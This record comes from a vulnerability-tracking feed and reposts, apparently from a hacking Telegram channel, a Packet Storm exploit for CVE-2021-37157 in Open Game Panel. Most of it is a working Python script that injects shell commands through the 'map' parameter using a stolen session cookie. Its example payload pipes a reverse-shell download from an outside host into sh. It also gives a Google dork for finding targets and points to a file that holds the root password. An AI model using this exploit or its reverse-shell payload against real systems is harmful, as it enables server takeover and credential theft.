{"uuid": "b231f902-2779-4780-be53-7a4d04b7f655", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-37157", "type": "seen", "source": "https://t.me/hacking_Attack/26181", "content": "Exploit Collector\nOpen Game Panel Remote Code Execution\n\nhttps://4.bp.blogspot.com/-slZrAXCcTc4/WWlvSkUdx-I/AAAAAAAAINc/GD9pE2wpupUfP-XcYlxrz5jw2m91dZTOgCLcBGAs/s1600/h39.png Open Game Panel suffers from an authenticated remote code execution vulnerability.\n\nMD5 | 4a44064f3593b04c3c02e8b2d071ef52Download # Exploit Title: Open Game Panel - Remote Code Execution (RCE) (Authenticated)\n# Google Dork: intext:\"Open Game Panel 2021\"\n# Date: 08/14/2021\n# Exploit Author: prey\n# Vendor Homepage: https://www.opengamepanel.org/\n# Software Link: https://github.com/OpenGamePanel/OGP-Website\n# Version: before 14 Aug patch (https://github.com/OpenGamePanel/OGP-Website/pull/561/commits)\n# Tested on: CentOS Linux 5.4.102\n\n#Before the patch, it was possible to inject system commands on \"map\" parameter when launching a new counter-strike server just by putting the command=\nbetwen ';', the user needs to be authenticated for this.\nimport requests\n\nbanner = \"\"\"\n@\n@                                                     @@&    @@@@@/\n@                                                      @&   #@@@@@&       .=\n,/%@#\n@                                                     @@@@@@@@@@@@@((%@@@@*\n@                                                     #@@@@@@@@@@@@@@@*%@,\n@                                                     @@@@@@@@@@@@@@&@@@@\n@                                                    &@@@@@@@@@/   &@@@.\n@                                                    @@@@@@@@@(\n@                                                    @@@@@@@@@@@@@&*\n@                                                     &@@@@@@@@@@@@@@@@%\n@                                                        ,&@@@@@@@@@@@@@\n@                                                          %@@@@@@@.\n@                                              .%@@@@@@@@% @@@@@@\n@                                          @@@@@#       .&@@@@#\n@            (@@@@@@@@@@@.             .@@@&               @@%\n@       .@@@@@,         #@@@@@*      #@@@                   @@@@@\n@     @@@&                   &@@@.  @@@\n@  ,@@@                         @@@@@@\n@ @@@                            %@@@,\n@&@@                              @@@,\n@@@@\n@@@@\n\n*@@@@@# @@  *@@  %@  @@@  @@      @@@@@/  @@@   @@@       ,@@@   ,@(    .@=\n%\n*@/  @@ .@/ @(@  @@  @@@( @@         ,@(  @@@* @#@@       @@(@   ,@(    .@=\n%\n*@@@@@@  @@ @ &&.@(  @@ @.@@       @@@@   @@.@(@ @@      (@. @@  ,@(    .@=\n%\n*@/      %@(@  @@@   @@ *@@@          @@  @@ @@. @@      @@@@@@, ,@(    .@=\n%\n*@/       @@*  @@@   @@  %@@      @@@@@*  @@     @@     &@    @@ ,@@@@@ .@=\n@@@@\n\n##You can get mod_id and home_id on your game panel URL when you are logged\n\n\"\"\"\nprint(banner)\n\ntarget = input(\"Target url:  (eg: https://panel.example.org)\\n\")\nopengamepanel_web = input(\"opengamepanel_web Cookie: (eg: kulonmu5ldu71nmggv2p571nu1)\\n\")\nmod_id = input(\"Mod_id value: (eg: 2437)\\n\")\nhome_id = input(\"Home_id value: (eg: 3737)\\n\")\nserver_ip_port = input(\"Server IP:port: (eg: 192.168.69.69:42069)\\n\")\ncommand = input(\"Payload: (eg: curl https://reverse-shell.sh/1.1.1.1:1337|sh)\\n\")\n\nurl = target + \"/home.php?m=gamemanager&p=game_monitor\"\ncookies = {\"opengamepanel_web\": opengamepanel_web}\nheaders = {\"Content-Type\": \"application/x-www-form-urlencoded\"}\ndata = {\"mod_id\": mod_id, \"home_id\": home_id, \"ip_port\": server_ip_port, \"map\": \";\" + command + \";\", \"start_server\": \"whatever\"}\ntry:\nrequests.post(url, headers=headers, cookies=cookies, data=data)\nexcept:\nprint(\"Something went wrong, check your inputs or try manually exploiting the map parameter\")\nprint(\"Finished. you can now literally read the file $HOME/OGP/Cfg/Config.pm for the root password yaay! (CVE-2021-37157)\") Source:packetstormsecurity.com\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-01T20:02:19.036354Z"}